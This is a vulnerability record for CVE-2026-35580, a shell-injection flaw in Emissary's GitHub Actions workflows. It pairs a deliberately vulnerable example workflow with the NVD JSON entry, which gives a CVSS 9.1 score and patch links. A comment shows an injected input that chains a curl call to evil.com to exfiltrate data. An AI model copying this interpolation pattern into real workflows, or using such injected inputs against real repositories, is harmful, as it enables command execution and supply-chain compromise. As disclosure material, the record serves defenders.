CVE-2026-35580

# Vulnerable Workflow Concept (CVE-2026-35580) # An attacker with write access can trigger this workflow with malicious input. name: Build Emissary on: workflow_dispatch: inputs: config_option: description: 'Configuration option' required: true default: 'default_value' jobs: build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v3 - name: Build with user input # VULNERABILITY: The input is interpolated directly into the shell command. # If input is: 'value; curl http://evil.com/exfil', the curl command will execute. run: | echo "Starting build with configuration: ${{ github.event.inputs.config_option }}" ./configure --opt="${{ github.event.inputs.config_option }}" make all

{"cve": {"id": "CVE-2026-35580", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:33.307", "lastModified": "2026-04-16T17:59:02.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nsa:emissary:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10.0", "versionEndIncluding": "8.38.0", "matchCriteriaId": "63C8A099-EC01-496B-A224-0B1E8AA2A980"}]}]}], "references": [{"url": "https://github.com/NationalSecurityAgency/emissary/pull/1286", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/NationalSecurityAgency/emissary/pull/1288", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/NationalSecurityAgency/emissary/security/advisories/GHSA-3g6g-gq4r-xjm9", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}